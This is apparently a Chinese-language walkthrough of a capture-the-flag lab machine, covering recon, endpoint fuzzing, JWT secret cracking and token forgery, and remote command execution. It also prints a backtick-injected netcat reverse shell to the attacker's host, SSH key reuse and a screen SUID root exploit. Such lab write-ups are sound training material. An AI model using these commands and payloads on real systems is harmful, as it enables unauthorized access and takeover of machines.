1.信息收集

1.1.目标发现

使用virtualbox导入靶机并打开

发现靶机的ip是10.177.246.54

image-20230510183540374.png
image-20230510183540374.png

1.2.端口信息扫描

使用nmap扫描目标ip的所有端口信息

┌──(root㉿kali)-[~]
└─# nmap -sS -sV  10.177.246.54 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-10 06:41 EDT
Nmap scan report for 10.177.246.54
Host is up (0.00052s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
3000/tcp open  http    Node.js Express framework
MAC Address: 08:00:27:73:80:C0 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.98 seconds

发现目标ip开了22和3000端口

3000端口是nodejs写的后端

2.漏洞发现

2.1.查看目标ip的3000端口

image-20230510185737546.png
image-20230510185737546.png

显示Cannot GET / 不能使用get

用hackbar改成post再次进行访问

image-20230510185857836.png
image-20230510185857836.png

还是显示Cannot POST / 不能使用post

2.2.网站爆破

使用ffuf工具对网站进行爆破

┌──(root㉿kali)-[~]
└─# ffuf -w /root/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.177.246.54:3000/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.177.246.54:3000/FUZZ
 :: Wordlist         : FUZZ: /root/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

:: Progress: [220560/220560] :: Job [1/1] :: 5882 req/sec :: Duration: [0:00:40] :: Errors: 0 ::

发现使用get方式没有爆破出来

尝试使用post爆破

┌──(root㉿kali)-[~]
└─# ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt  -X POST  -fc 404 -mc all -u http://10.177.246.54:3000/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.177.246.54:3000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response status: 404
________________________________________________

[Status: 401, Size: 22, Words: 2, Lines: 1, Duration: 27ms]
    * FUZZ: login

[Status: 400, Size: 29, Words: 6, Lines: 1, Duration: 25ms]
    * FUZZ: register

[Status: 401, Size: 12, Words: 1, Lines: 1, Duration: 7ms]
    * FUZZ: execute

:: Progress: [207643/207643] :: Job [1/1] :: 4761 req/sec :: Duration: [0:00:38] :: Errors: 0 ::

扫描到了三个路径

使用curl查看这三个路径

┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/login    
Identifiants invalides                                                                                                                                            
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/register
The "role" field is not valid                                                                                                                                            
┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/execute
Unauthorized            

2.3.register字段爆破

┌──(root㉿kali)-[~]
└─# ffuf -w SecLists-master/Discovery/Web-Content/api/objects.txt -X POST -u http://10.177.246.54:3000/register -H "Content-Type: application/json" -d '{"role":"FUZZ"}'

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.177.246.54:3000/register
 :: Wordlist         : FUZZ: /root/SecLists-master/Discovery/Web-Content/api/objects.txt
 :: Header           : Content-Type: application/json
 :: Data             : {"role":"FUZZ"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 401, Size: 16, Words: 3, Lines: 1, Duration: 30ms]
    * FUZZ: admin

[Status: 500, Size: 32, Words: 5, Lines: 1, Duration: 41ms]
    * FUZZ: user

:: Progress: [3132/3132] :: Job [1/1] :: 1234 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

爆破出adminuser两个字段

使用curl测试

┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/register -H "Content-Type: application/json" -d '{"role":"admin"}'
Not authorized !      

访问admin字段返回Not authorized ! 未授权

尝试访问user字段

┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/register -H "Content-Type: application/json" -d '{"role":"user"}' 
Column 'username' cannot be null                                                                                                                                   

返回Column 'username' cannot be null username字段不能空

添加username字段测试

┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/register -H "Content-Type: application/json" -d '{"role":"user","username":"user"}'
Column 'password' cannot be null 

显示Column 'password' cannot be null password字段不能为空

添加password字段测试

┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/register -H "Content-Type: application/json" -d '{"role":"user","username":"user","password":"user"}'
Registration OK 

发现注册成功了

2.4.登录

尝试使用curl登录

┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/login -H "Content-Type: application/json" -d '{"role":"user","username":"user","password":"user"}'
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTY4MzcyMDUzNH0.cmIS28gxFWGh8oRJT0YTsETaR7_qsa0D76EI5To194M"} 

登陆之后返回了一个token

3.漏洞利用

3.1.尝试使用返回的token执行命令

这里我们猜测获取命令的字段为cmd来测试

┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/execute -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTY4MzcyMDUzNH0.cmIS28gxFWGh8oRJT0YTsETaR7_qsa0D76EI5To194M" -H "Content-Type: application/json"  -d '{"cmd":"id"}'
Not authorized

返回Not authorized 未授权

猜测只有admin用户才有权限执行命令

3.2.修改token为admin用户

这里我们用jwt.io这个网站来修改token

复制我们的token到这个网站

image-20230510201918037.png
image-20230510201918037.png

这里需要秘钥

使用john爆破

┌──(root㉿kali)-[~]
└─# echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTY4MzcyMDUzNH0.cmIS28gxFWGh8oRJT0YTsETaR7_qsa0D76EI5To194M > user.hash
                                                                                                                                            
┌──(root㉿kali)-[~]
└─# john -w=rockyou.txt user.hash
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
nopassword       (?)     
1g 0:00:00:00 DONE (2023-05-10 08:20) 100.0g/s 1228Kp/s 1228Kc/s 1228KC/s total90..hawkeye
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

爆破出秘钥为nopassword

image-20230510202155574.png
image-20230510202155574.png

将username和role字段都改成admin

在下面填入秘钥

这样token就修改好了 复制这个token 尝试执行命令

┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/execute -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzNzIwNTM0fQ.eo5syZPVLegGsaE-5sNZKXUYJ1b6_2t7il3YuRe1Vzk" -H "Content-Type: application/json" -d '{"cmd":"id"}'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>TypeError [ERR_INVALID_ARG_TYPE]: The &quot;file&quot; argument must be of type string. Received undefined<br> &nbsp; &nbsp;at validateString (internal/validators.js:120:11)<br> &nbsp; &nbsp;at normalizeSpawnArguments (child_process.js:411:3)<br> &nbsp; &nbsp;at spawn (child_process.js:547:16)<br> &nbsp; &nbsp;at Object.execFile (child_process.js:237:17)<br> &nbsp; &nbsp;at exec (child_process.js:158:25)<br> &nbsp; &nbsp;at /opt/login-app/app.js:69:3<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/opt/login-app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/opt/login-app/node_modules/express/lib/router/route.js:144:13)<br> &nbsp; &nbsp;at /opt/login-app/app.js:112:5<br> &nbsp; &nbsp;at /opt/login-app/node_modules/jsonwebtoken/verify.js:261:12</pre>
</body>
</html>

获取命令的字段错了

3.3.爆破命令字段

┌──(root㉿kali)-[~]
└─# ffuf -w /root/SecLists-master/Discovery/Web-Content/api/objects.txt -u http://10.177.246.54:3000/execute -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzNzIwNTM0fQ.eo5syZPVLegGsaE-5sNZKXUYJ1b6_2t7il3YuRe1Vzk" -X POST -H "Content-Type: application/json" -d '{"FUZZ":"id"}' -fc 500

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.177.246.54:3000/execute
 :: Wordlist         : FUZZ: /root/SecLists-master/Discovery/Web-Content/api/objects.txt
 :: Header           : Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzNzIwNTM0fQ.eo5syZPVLegGsaE-5sNZKXUYJ1b6_2t7il3YuRe1Vzk
 :: Header           : Content-Type: application/json
 :: Data             : {"FUZZ":"id"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 500
________________________________________________

[Status: 200, Size: 54, Words: 3, Lines: 2, Duration: 89ms]
    * FUZZ: command

:: Progress: [3132/3132] :: Job [1/1] :: 1869 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

成功爆破出命令字段command

3.4.命令执行

使用curl执行命令

┌──(root㉿kali)-[~]
└─# curl -X POST http://10.177.246.54:3000/execute -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzNzIwNTM0fQ.eo5syZPVLegGsaE-5sNZKXUYJ1b6_2t7il3YuRe1Vzk" -H "Content-Type: application/json" -d '{"command":"id"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

命令执行成功

接下来反弹shell

image-20230510203354001.png
image-20230510203354001.png

image-20230510203406123.png
image-20230510203406123.png

3.5.提权至doro用户

image-20230510204016654.png
image-20230510204016654.png

发现www用户可以使用doro用户的权限执行/home/doro/tools.py这个脚本

image-20230510204136220.png
image-20230510204136220.png

查看这个脚本权限发现只有读的权限

查看这个脚本

import os
import sys

def main():
    if len(sys.argv) < 2:
        print_help()
        return
    
    option = sys.argv[1]
    if option == "--ping":
        ping()
    elif option == "--traceroute":
        traceroute_ip()
    else:
        print("Invalid option.")
        print_help()

def print_help():
    print("Usage: python3 network_tool.py <option>")
    print("Options:")
    print("--ping           Ping an IP address")
    print("--traceroute     Perform a traceroute on an IP address")

def ping():
    ip_address = input("Enter an IP address: ")

    forbidden_chars = ["&", ";", "(", ")", "||", "|", ">", "<", "*", "?"]
    for char in forbidden_chars:
        if char in ip_address:
            print("Forbidden character found: {}".format(char))
            sys.exit(1)
    
    os.system('ping -c 2 ' + ip_address)

def traceroute_ip():
    ip_address = input("Enter an IP address: ")

    if not is_valid_ip(ip_address):
        print("Invalid IP address.")
        return
    
    traceroute_command = "traceroute {}".format(ip_address)
    os.system(traceroute_command)

def is_valid_ip(ip_address):
    octets = ip_address.split(".")
    if len(octets) != 4:
        return False
    for octet in octets:
        if not octet.isdigit() or int(octet) < 0 or int(octet) > 255:
            return False
    return True

if __name__ == "__main__":
    main()

发现脚本没有过滤"`"符号

可以绕过

首先使用nc监听本机的5555端口 用来反弹shell

使用doro用户的权限执行脚本

输入

`nc 10.177.246.51 5555 -e /bin/bash`

image-20230510204954644.png
image-20230510204954644.png

image-20230510205009790.png
image-20230510205009790.png

成功叫权限提升至doro

在doro家目录下的.ssh目录中发现了doro的公钥和私钥

image-20230510205508294.png
image-20230510205508294.png

image-20230510205708512.png
image-20230510205708512.png

将公钥的内容写入authorized_keys文件

复制私钥到本机并设置权限为600

这样我们就可以使用ssh登录doro用户了

image-20230510205508294.png
image-20230510205508294.png

3.6.提权至root

直接使用linpeas.sh辅助提权工具

在靶机运行linpeas.sh

image-20230510210630786.png
image-20230510210630786.png

发现screen有suid权限并且版本为4.5.0

此版本存在漏洞

使用searchsploit搜索提权脚本

image-20230510210857849.png
image-20230510210857849.png

将41154.sh上传至靶机

执行改脚本

成功提权至root

image-20230510211027776.png
image-20230510211027776.png

image-20230510211037210.png
image-20230510211037210.png

3.7.拿flag

image-20230510211205310.png
image-20230510211205310.png

flag1{ccd839df5504a7ace407b5aeca436e81}

flag2{052cf26a6e7e33790391c0d869e2e40c}